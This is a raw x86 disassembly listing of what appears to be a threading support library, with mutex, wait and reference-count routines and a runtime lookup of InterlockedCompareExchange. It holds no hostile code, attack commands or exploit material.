eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_431A44: ; CODE XREF: sub_4319F0+41j test edi, edi mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0 jz short loc_431A60 mov edi, [edi] test edi, edi jz short loc_431A60 mov edi, [edi+4] jmp short loc_431A62 ; --------------------------------------------------------------------------- loc_431A60: ; CODE XREF: sub_4319F0+63j ; sub_4319F0+69j xor edi, edi loc_431A62: ; CODE XREF: sub_4319F0+6Ej push 0 lea eax, [esi+10h] push 0 push eax mov [esi+8], edi mov dword ptr [esi+0Ch], 0 call sub_401C8A add esp, 0Ch test eax, eax jz short loc_431A9D push esi mov ebp, 0Bh nop call near ptr 77C2C21Bh mov edx, [esp+10h+arg_0] add esp, 4 xor esi, esi mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_431A9D: ; CODE XREF: sub_4319F0+8Ej lea ecx, [esi+14h] push ecx nop call near ptr 27A0DFAh mov edx, [esp+0Ch+arg_0] mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn sub_4319F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431B00 proc near ; CODE XREF: sub_402252j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi test edi, edi jz loc_431BE0 mov eax, [edi] test eax, eax jz loc_431BE0 cmp eax, 0FFFFFFFFh jz loc_431BA5 mov [esp+8+arg_0], eax lea eax, [esp+8+arg_0] push eax call sub_401785 mov esi, eax add esp, 4 test esi, esi jnz loc_431BDB mov ecx, [esp+8+arg_0] mov eax, [ecx+4] cmp eax, 1 jnz short loc_431B97 lea ecx, [esp+8+arg_0] mov [edi], esi push ecx call sub_4010C3 mov edx, [esp+0Ch+arg_0] mov esi, eax add esp, 4 test esi, esi jnz short loc_431B90 add edx, 10h push edx call sub_401690 mov eax, [esp+0Ch+arg_0] add esp, 4 add eax, 14h push eax nop call near ptr 27A0721h mov ecx, [esp+8+arg_0] push ecx call near ptr 77C2C21Bh nop add esp, 4 mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431B90: ; CODE XREF: sub_431B00+61j mov [edi], edx mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431B97: ; CODE XREF: sub_431B00+48j dec eax mov esi, 10h mov [ecx+4], eax mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431BA5: ; CODE XREF: sub_431B00+1Dj push offset dword_510920 nop call near ptr 7C901005h cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_431BCB push offset dword_510920 mov dword ptr [edi], 0 nop call near ptr 7C9010EDh mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431BCB: ; CODE XREF: sub_431B00+B3j push offset dword_510920 mov esi, 10h nop call near ptr 7C9010EDh loc_431BDB: ; CODE XREF: sub_431B00+38j mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431BE0: ; CODE XREF: sub_431B00+Aj ; sub_431B00+14j pop edi mov eax, 16h pop esi retn sub_431B00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431C30 proc near ; CODE XREF: sub_401A1Ej arg_0 = dword ptr 4 push esi push 8 push 1 xor esi, esi call near ptr 77C2C0C3h nop add esp, 8 cmp eax, esi jnz short loc_431C53 mov edx, [esp+4+arg_0] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_431C53: ; CODE XREF: sub_431C30+12j mov ecx, [esp+4+arg_0] mov [eax], esi mov [eax+4], esi mov [ecx], eax mov eax, esi pop esi retn sub_431C30 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431C80 proc near ; CODE XREF: sub_4010AAj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi xor esi, esi test ecx, ecx jz short loc_431CA1 mov eax, [ecx] test eax, eax jz short loc_431CA1 push eax mov [ecx], esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_431CA1: ; CODE XREF: sub_431C80+9j ; sub_431C80+Fj mov eax, 16h pop esi retn sub_431C80 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431CC0: ; CODE XREF: ___:00401BBDj mov eax, [esp+4] test eax, eax jz short loc_431CDD mov eax, [eax] test eax, eax jz short loc_431CDD mov ecx, [esp+8] test ecx, ecx jz short loc_431CDD mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_431CDD: ; CODE XREF: ___:00431CC6j ; ___:00431CCCj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431D00: ; CODE XREF: ___:00401906j mov eax, [esp+4] test eax, eax jz short loc_431D2A mov ecx, [eax] test ecx, ecx jz short loc_431D2A mov eax, [esp+8] cmp eax, 1 jz short loc_431D1E test eax, eax jnz short loc_431D2A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_431D1E: ; CODE XREF: ___:00431D15j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_431D2A: ; CODE XREF: ___:00431D06j ; ___:00431D0Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431D40 proc near ; CODE XREF: sub_40119Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_431D61 mov ecx, [ecx] test ecx, ecx jz short loc_431D61 mov edx, [esp+arg_4] test edx, edx jl short loc_431D61 cmp edx, 2 jg short loc_431D61 mov [ecx+4], edx retn ; --------------------------------------------------------------------------- loc_431D61: ; CODE XREF: sub_431D40+8j ; sub_431D40+Ej ... mov eax, 16h retn sub_431D40 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431D80 proc near ; CODE XREF: sub_4018CFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_431D9E mov ecx, [ecx] test ecx, ecx jz short loc_431D9E mov edx, [esp+arg_4] test edx, edx jz short loc_431D9E mov ecx, [ecx+4] mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_431D9E: ; CODE XREF: sub_431D80+8j ; sub_431D80+Ej ... mov eax, 16h retn sub_431D80 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431DC0 proc near ; CODE XREF: sub_402248j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi test esi, esi jz loc_431E77 mov eax, [esi] test eax, eax jz loc_431E77 cmp eax, 0FFFFFFFFh jnz short loc_431DF1 push esi call sub_401C17 mov edi, eax add esp, 4 test edi, edi jz short loc_431DF1 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431DF1: ; CODE XREF: sub_431DC0+1Dj ; sub_431DC0+2Cj mov esi, [esi] push esi nop call near ptr 27805BDh test eax, eax jnz short loc_431E1A loc_431DFE: ; CODE XREF: sub_431DC0+A8j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_431E12 call sub_4012E4 ; --------------------------------------------------------------------------- loc_431E12: ; CODE XREF: sub_431DC0+4Bj mov [esi+0Ch], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431E1A: ; CODE XREF: sub_431DC0+3Cj mov eax, [esi+8] test eax, eax jz short loc_431E5A call sub_4012E4 ; --------------------------------------------------------------------------- dw 8B50h dd 0E8500C46h, 0FFFCFC34h, 8508C483h, 562374C0h, 35EAEDE8h dd 7E839002h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h dd 24BFh, 5FC78B00h ; --------------------------------------------------------------------------- pop esi retn ; --------------------------------------------------------------------------- loc_431E5A: ; CODE XREF: sub_431DC0+5Fj lea ecx, [esi+10h] push ecx call sub_431EB0 add esp, 4 test eax, eax jz short loc_431DFE call near ptr 77C1F2BCh nop mov edi, [eax] mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431E77: ; CODE XREF: sub_431DC0+Aj ; sub_431DC0+14j pop edi mov eax, 16h pop esi retn sub_431DC0 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431EB0 proc near ; CODE XREF: sub_431DC0+9Ep arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_431ECA mov eax, [eax] push 0FFFFFFFFh mov ecx, [eax] push ecx call near ptr 2790664h nop test eax, eax jnz short loc_431ECA retn ; --------------------------------------------------------------------------- loc_431ECA: ; CODE XREF: sub_431EB0+6j ; sub_431EB0+17j nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_431EB0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431EF0 proc near ; CODE XREF: sub_401BD6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebp push esi mov esi, [esp+8+arg_0] xor ebp, ebp test esi, esi jz loc_432088 mov eax, [esi] test eax, eax jz loc_432088 cmp eax, 0FFFFFFFFh jnz short loc_431F21 push esi call sub_401C17 mov ebp, eax add esp, 4 test ebp, ebp jz short loc_431F21 pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_431F21: ; CODE XREF: sub_431EF0+1Dj ; sub_431EF0+2Cj mov esi, [esi] push ebx push edi push esi nop call near ptr 27805BDh test eax, eax jnz short loc_431F52 loc_431F30: ; CODE XREF: sub_431EF0+175j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz loc_43207E call sub_4012E4 ; --------------------------------------------------------------------------- pop edi mov [esi+0Ch], eax pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_431F52: ; CODE XREF: sub_431EF0+3Ej mov eax, [esi+8] test eax, eax jz short loc_431F96 call sub_4012E4 ; --------------------------------------------------------------------------- dw 8B50h dd 0E8500C46h, 0FFFCFAFCh, 8508C483h, 562774C0h, 0E9B4E890h dd 7E830235h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h dd 24BDC35Dh, 5F000000h, 5EC58B5Bh ; --------------------------------------------------------------------------- pop ebp retn ; --------------------------------------------------------------------------- loc_431F96: ; CODE XREF: sub_431EF0+67j mov eax, [esp+10h+arg_4] test eax, eax jnz short loc_431FAA mov ebp, 16h pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_431FAA: ; CODE XREF: sub_431EF0+ACj lea edi, [esi+10h] push eax push edi call sub_432100 add esp, 8 sub eax, 0 jz loc_43206A dec eax jz short loc_432034 dec eax jz short loc_431FD5 nop call near ptr 77C1F2BCh mov ebp, [eax] pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_431FD5: ; CODE XREF: sub_431EF0+D4j lea ebx, [esi+14h] push ebx nop call near ptr 7C901005h push edi mov ebp, 274Ch call sub_4010A5 add esp, 4 cmp eax, 0FFFFFFFFh push esi jnz short loc_432007 call near ptr 279092Ah nop push ebx call near ptr 7C9010EDh nop pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_432007: ; CODE XREF: sub_431EF0+101j nop call near ptr 279092Ah test eax, eax jl short loc_432026 push edi call sub_40103C add esp, 4 test eax, eax jz short loc_432026 nop call near ptr 77C1F2BCh mov ebp, [eax] loc_432026: ; CODE XREF: sub_431EF0+11Fj ; sub_431EF0+12Cj push ebx call near ptr 7C9010EDh nop pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_432034: ; CODE XREF: sub_431EF0+D1j lea ebx, [esi+14h] push ebx nop call near ptr 7C901005h push edi call sub_4010A5 mov edi, eax add esp, 4 cmp edi, 0FFFFFFFFh jnz short loc_43205A push esi nop call near ptr 279092Ah mov ebp, 274Ch loc_43205A: ; CODE XREF: sub_431EF0+15Cj push ebx nop call near ptr 7C9010EDh test edi, edi jnz short loc_432081 jmp loc_431F30 ; --------------------------------------------------------------------------- loc_43206A: ; CODE XREF: sub_431EF0+CAj mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_43207E call sub_4012E4 ; --------------------------------------------------------------------------- loc_43207E: ; CODE XREF: sub_431EF0+4Dj ; sub_431EF0+187j mov [esi+0Ch], eax loc_432081: ; CODE XREF: sub_431EF0+173j pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_432088: ; CODE XREF: sub_431EF0+Aj ; sub_431EF0+14j pop esi mov eax, 16h pop ebp retn sub_431EF0 endp ; --------------------------------------------------------------------------- db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432100 proc near ; CODE XREF: sub_431EF0+BFp var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push esi push edi mov edi, [esp+14h+arg_0] test edi, edi jz loc_43219E mov esi, [esp+14h+arg_4] test esi, esi jnz short loc_432132 or eax, 0FFFFFFFFh loc_43211C: ; CODE XREF: sub_432100+7Fj push eax mov eax, [edi] mov ecx, [eax] push ecx nop call near ptr 2790664h test eax, eax jnz short loc_43218C pop edi pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_432132: ; CODE XREF: sub_432100+17j lea eax, [esp+14h+var_C] push eax call near ptr 77C49113h nop mov ecx, [esi+4] mov eax, 431BDE83h add ecx, 7A120h add esp, 4 mul ecx mov eax, [esi] mov ecx, [esp+14h+var_C] shr edx, 12h lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] shl ecx, 3 lea eax, [edx+eax*8] mov edx, [esp+14h+var_8] sub eax, ecx and edx, 0FFFFh sub eax, edx jns short loc_43211C pop edi mov eax, 2 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_43218C: ; CODE XREF: sub_432100+2Aj cmp eax, 102h jnz short loc_43219E pop edi mov eax, 1 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_43219E: ; CODE XREF: sub_432100+Bj ; sub_432100+91j nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi add esp, 0Ch retn sub_432100 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4321F0 proc near ; CODE XREF: sub_4010C3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx xor ebx, ebx push esi cmp eax, ebx jz loc_432290 mov esi, [eax] cmp esi, ebx jz loc_432290 cmp esi, 0FFFFFFFFh push edi jz short loc_432285 mov eax, [esi+0Ch] mov edi, 1 cmp eax, edi jz short loc_43223A call sub_4012E4 ; --------------------------------------------------------------------------- push eax mov eax, [esi+0Ch] push eax call sub_401A64 add esp, 8 test eax, eax jnz short loc_43223A mov ebx, edi pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43223A: ; CODE XREF: sub_4321F0+2Aj ; sub_4321F0+40j cmp [esi+8], edi jnz short loc_432248 mov eax, [esi+4] dec eax mov [esi+4], eax jnz short loc_43228A loc_432248: ; CODE XREF: sub_4321F0+4Dj lea edi, [esi+14h] mov [esi+0Ch], ebx push edi nop call near ptr 7C901005h push esi nop call near ptr 279092Ah test eax, eax jl short loc_432278 add esi, 10h push esi call sub_40103C add esp, 4 test eax, eax jz short loc_432278 nop call near ptr 77C1F2BCh mov ebx, [eax] loc_432278: ; CODE XREF: sub_4321F0+6Ej ; sub_4321F0+7Ej push edi nop call near ptr 7C9010EDh pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432285: ; CODE XREF: sub_4321F0+1Ej mov ebx, 16h loc_43228A: ; CODE XREF: sub_4321F0+56j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432290: ; CODE XREF: sub_4321F0+Aj ; sub_4321F0+14j pop esi mov eax, 16h pop ebx retn sub_4321F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4322D0 proc near ; CODE XREF: sub_401785j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi test esi, esi jz short loc_432355 mov eax, [esi] test eax, eax jz short loc_432355 cmp eax, 0FFFFFFFFh jnz short loc_4322F2 push esi call sub_401C17 add esp, 4 mov edi, eax loc_4322F2: ; CODE XREF: sub_4322D0+15j mov esi, [esi] test edi, edi jnz short loc_432350 push 0FFFFFFFFh push edi push esi call dword_5103C8 ; InterlockedCompareExchange cmp eax, 0FFFFFFFFh jnz short loc_432323 mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_43231B call sub_4012E4 ; --------------------------------------------------------------------------- loc_43231B: ; CODE XREF: sub_4322D0+44j mov [esi+0Ch], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_432323: ; CODE XREF: sub_4322D0+35j cmp dword ptr [esi+8], 1 jnz short loc_43234B call sub_4012E4 ; --------------------------------------------------------------------------- push eax mov eax, [esi+0Ch] push eax call sub_401A64 add esp, 8 test eax, eax jz short loc_43234B mov eax, [esi+4] inc eax mov [esi+4], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_43234B: ; CODE XREF: sub_4322D0+57j ; sub_4322D0+6Dj mov edi, 10h loc_432350: ; CODE XREF: sub_4322D0+26j mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_432355: ; CODE XREF: sub_4322D0+Aj ; sub_4322D0+10j pop edi mov eax, 16h pop esi retn sub_4322D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_432390: ; CODE XREF: ___:0040193Dj mov eax, [esp+8] mov ecx, [esp+4] push eax push ecx call sub_40119A add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4323C0: ; CODE XREF: ___:00401591j mov eax, [esp+8] mov ecx, [esp+4] push eax push ecx call sub_4018CF add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4323F0: ; CODE XREF: ___:00401497j mov eax, [esp+4] test eax, eax jz short loc_4323FC mov eax, [eax+4] retn ; --------------------------------------------------------------------------- loc_4323FC: ; CODE XREF: ___:004323F6j xor eax, eax retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432410: ; CODE XREF: ___:00401C12j mov eax, [esp+4] push esi test eax, eax push edi jnz short loc_432422 pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_432422: ; CODE XREF: ___:00432418j mov esi, [eax] test esi, esi jnz short loc_432445 mov ecx, [eax+4] test ecx, ecx jnz short loc_432445 call sub_401D02 ; --------------------------------------------------------------------------- dd 7DE89056h, 0E80241DEh, 0FFFCF8C2h, 5EC0335Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_432445: ; CODE XREF: ___:00432426j ; ___:0043242Dj mov ecx, [eax+4] mov eax, 431BDE83h add ecx, 0F423Fh imul ecx sar edx, 12h mov eax, edx shr eax, 1Fh add edx, eax lea eax, [esi+esi*4] lea eax, [eax+eax*4] lea ecx, [eax+eax*4] lea edi, [edx+ecx*8] call sub_4012E4 ; --------------------------------------------------------------------------- mov esi, eax test esi, esi jnz short loc_43247E pop edi mov eax, 0Ch pop esi retn ; --------------------------------------------------------------------------- loc_43247E: ; CODE XREF: ___:00432474j mov eax, [esi+30h] push edi test eax, eax jnz short loc_4324E6 mov edx, [esi+38h] push edx call near ptr 2790664h nop test eax, eax jnz short loc_4324D7 lea edi, [esi+2Ch] push edi call sub_402248 mov eax, [esi+0Ch] add esp, 4 cmp eax, 3 jge short loc_4324C6 push edi mov dword ptr [esi+0Ch], 3 mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DED ; --------------------------------------------------------------------------- add esp, 8 loc_4324C6: ; CODE XREF: ___:004324A6j push edi call sub_4010C3 add esp, 4 mov eax, 3 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4324D7: ; CODE XREF: ___:00432492j cmp eax, 102h jz short loc_4324EC pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_4324E6: ; CODE XREF: ___:00432484j nop call near ptr 28502B8h loc_4324EC: ; CODE XREF: ___:004324DCj pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_432540: ; CODE XREF: ___:00401014j push ecx lea eax, [esp+0] push eax call sub_401C3A add esp, 4 test eax, eax mov eax, 1 jnz short loc_43255B mov eax, [esp+0] loc_43255B: ; CODE XREF: ___:00432555j pop ecx retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432570 proc near ; CODE XREF: sub_401712j push esi call sub_401320 push offset aKernel32_dll ; "KERNEL32.DLL" mov esi, eax call near ptr 2800886h nop push offset aInterlockedcom ; "InterlockedCompareExchange" push eax mov dword_5103AC, eax nop call near ptr 28C0000h test eax, eax mov dword_5103C8, eax jnz short loc_4325BD mov eax, dword_5103AC mov dword_5103C8, offset sub_4012D0 push eax nop call near ptr 277035Ch mov dword_5103AC, 0 loc_4325BD: ; CODE XREF: sub_432570+2Bj mov eax, esi pop esi retn sub_432570 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4325F0 proc near ; CODE XREF: sub_401627j mov eax, dword_5103B0 test eax, eax jz short loc_432640 mov eax, dword_5103B4 push eax call sub_401190 ; --------------------------------------------------------------------------- dd 8504C483h, 832074C0h, 75012078h, 0A0E8501Ah, 8BFFFCF1h dd 5103B40Dh, 4C48300h, 6A118Bh, 0D5E89052h, 0E80233D9h dd 0FFFCF015h, 5103ACA1h, 74C08500h, 0E8905007h, 233DD1Ch ; --------------------------------------------------------------------------- loc_432640: ; CODE XREF: sub_4325F0+7j mov eax, 1 retn sub_4325F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432670 proc near ; CODE XREF: sub_4017BCj mov eax, 1 retn sub_432670 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432690 proc near ; CODE XREF: sub_4017CBj mov eax, dword_5103B0 test eax, eax jz short loc_4326CB mov eax, dword_5103B4 push eax call sub_401190 ; --------------------------------------------------------------------------- dd 8504C483h, 832074C0h, 75012078h, 0E8501Ah, 8BFFFCF1h dd 5103B40Dh, 4C48300h, 6A118Bh, 35E89052h db 0D9h, 33h, 2 ; --------------------------------------------------------------------------- loc_4326CB: ; CODE XREF: sub_432690+7j mov eax, 1 retn sub_432690 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_432700: ; CODE XREF: ___:0040225Cj push ecx push esi push offset dword_510980 xor esi, esi call near ptr 7C901005h nop mov eax, dword_5103BC test eax, eax mov [esp+4], eax jz short loc_43273E loc_43271C: ; CODE XREF: ___:0043273Cj test esi, esi jnz short loc_43273E lea eax, [esp+4] push eax call sub_40160E mov ecx, [esp+8] mov esi, eax add esp, 4 mov eax, [ecx+18h] test eax, eax mov [esp+4], eax jnz short loc_43271C loc_43273E: ; CODE XREF: ___:0043271Aj ; ___:0043271Ej push offset dword_510980 call near ptr 7C9010EDh nop mov eax, esi pop esi neg eax sbb eax, eax and eax, 0Bh pop ecx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432780 proc near ; CODE XREF: sub_4012B7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_432799 mov eax, [eax] test eax, eax jz short loc_432799 cmp dword ptr [eax], 0C4C0FFEEh jnz short loc_432799 xor eax, eax retn ; --------------------------------------------------------------------------- loc_432799: ; CODE XREF: sub_432780+6j ; sub_432780+Cj ... mov eax, 1 retn sub_432780 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4327B0 proc near ; CODE XREF: sub_401320j mov eax, dword_5103B0 test eax, eax jz short loc_4327BF mov eax, 1 retn ; --------------------------------------------------------------------------- loc_4327BF: ; CODE XREF: sub_4327B0+7j push 0 push offset dword_5103B4 mov dword_5103B0, 1 call sub_401609 add esp, 8 test eax, eax jnz short loc_4327EE push eax push offset dword_5103B8 call sub_401609 add esp, 8 test eax, eax jz short loc_4327F3 loc_4327EE: ; CODE XREF: sub_4327B0+2Aj call sub_401645 loc_4327F3: ; CODE XREF: sub_4327B0+3Cj push esi mov esi, dword_511868 push offset dword_5108C0 call esi push offset dword_510920 call esi push offset dword_510980 call esi push offset dword_510900 call esi push offset dword_510960 call esi push offset dword_510940 call esi mov eax, dword_5103B0 pop esi retn sub_4327B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432850 proc near ; CODE XREF: sub_401645j mov eax, dword_5103B0 test eax, eax jz locret_432909 mov eax, dword_5103B4 test eax, eax jz short loc_432879 push eax call sub_401AB4 add esp, 4 mov dword_5103B4, 0 loc_432879: ; CODE XREF: sub_432850+14j mov eax, dword_5103B8 test eax, eax jz short loc_432895 push eax call sub_401AB4 add esp, 4 mov dword_5103B8, 0 loc_432895: ; CODE XREF: sub_432850+30j push esi push offset dword_5108C0 nop call near ptr 7C901005h mov eax, dword_447708 cmp eax, 1 jz short loc_4328C3 push edi mov edi, dword_511AD0 loc_4328B2: ; CODE XREF: sub_432850+70j mov esi, [eax+8] push eax call edi ; free add esp, 4 cmp esi, 1 mov eax, esi jnz short loc_4328B2 pop edi loc_4328C3: ; CODE XREF: sub_432850+59j push offset dword_5108C0 nop call near ptr 7C9010EDh mov esi, dword_511864 push offset dword_510940 call esi push offset dword_510960 call esi push offset dword_510900 call esi push offset dword_510980 call esi push offset dword_510920 call esi push offset dword_5108C0 call esi mov dword_5103B0, 0 pop esi locret_432909: ; CODE XREF: sub_432850+7j retn sub_432850 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_432940: ; CODE XREF: ___:loc_401BA9j push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+8] push esi push edi push eax mov esi, [eax] mov ecx, [eax+4] mov edx, [eax+8] mov [ebp-4], esi mov [ebp-0Ch], ecx mov [ebp-8], edx nop call near ptr 77C2C21Bh mov eax, dword_5103B4 push esi push eax call sub_4020F9 ; --------------------------------------------------------------------------- mov dword ptr [esi+0Ch], 1 add esi, 3Ch push 0 push esi call sub_437D4C ; --------------------------------------------------------------------------- mov edi, [ebp-4] add esp, 14h test eax, eax jnz short loc_43299C mov ecx, [ebp-8] push ecx call dword ptr [ebp-0Ch] add esp, 4 mov [edi+14h], eax mov esi, eax jmp short loc_4329A8 ; --------------------------------------------------------------------------- loc_43299C: ; CODE XREF: ___:00432989j dec eax jz short loc_4329A5 dec eax or esi, 0FFFFFFFFh jmp short loc_4329A8 ; --------------------------------------------------------------------------- loc_4329A5: ; CODE XREF: ___:0043299Dj mov esi, [edi+14h] loc_4329A8: ; CODE XREF: ___:0043299Aj ; ___:004329A3j cmp dword ptr [edi+20h], 1 jnz short loc_4329C7 call sub_4017CB push esi nop call near ptr 77C3A307h add esp, 4 mov eax, esi pop edi pop esi mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_4329C7: ; CODE XREF: ___:004329ACj push edi call sub_40131B add esp, 4 push esi nop call near ptr 77C3A307h add esp, 4 mov eax, esi pop edi pop esi mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432A20 proc near ; CODE XREF: sub_4017B7j var_84 = byte ptr -84h var_80 = dword ptr -80h var_58 = byte ptr -58h var_4C = dword ptr -4Ch var_8 = byte ptr -8 arg_0 = dword ptr 4 sub esp, 84h push ebx mov ebx, [esp+88h+arg_0] test ebx, ebx push esi jz short loc_432A9A lea esi, [ebx+2Ch] push edi push esi call sub_402248 push esi mov dword ptr [ebx+0Ch], 5 call sub_4010C3 push ebx call sub_40131B mov ecx, 21h mov esi, ebx lea edi, [esp+9Ch+var_84] push ebx rep movsd call sub_401BD1 mov eax, [esp+0A0h+var_4C] mov esi, dword_5118E0 add esp, 10h test eax, eax pop edi jz short loc_432A78 push eax call esi loc_432A78: ; CODE XREF: sub_432A20+53j lea eax, [esp+8Ch+var_58] push eax call sub_402252 mov eax, [esp+90h+var_80] add esp, 4 test eax, eax jz short loc_432A9A test 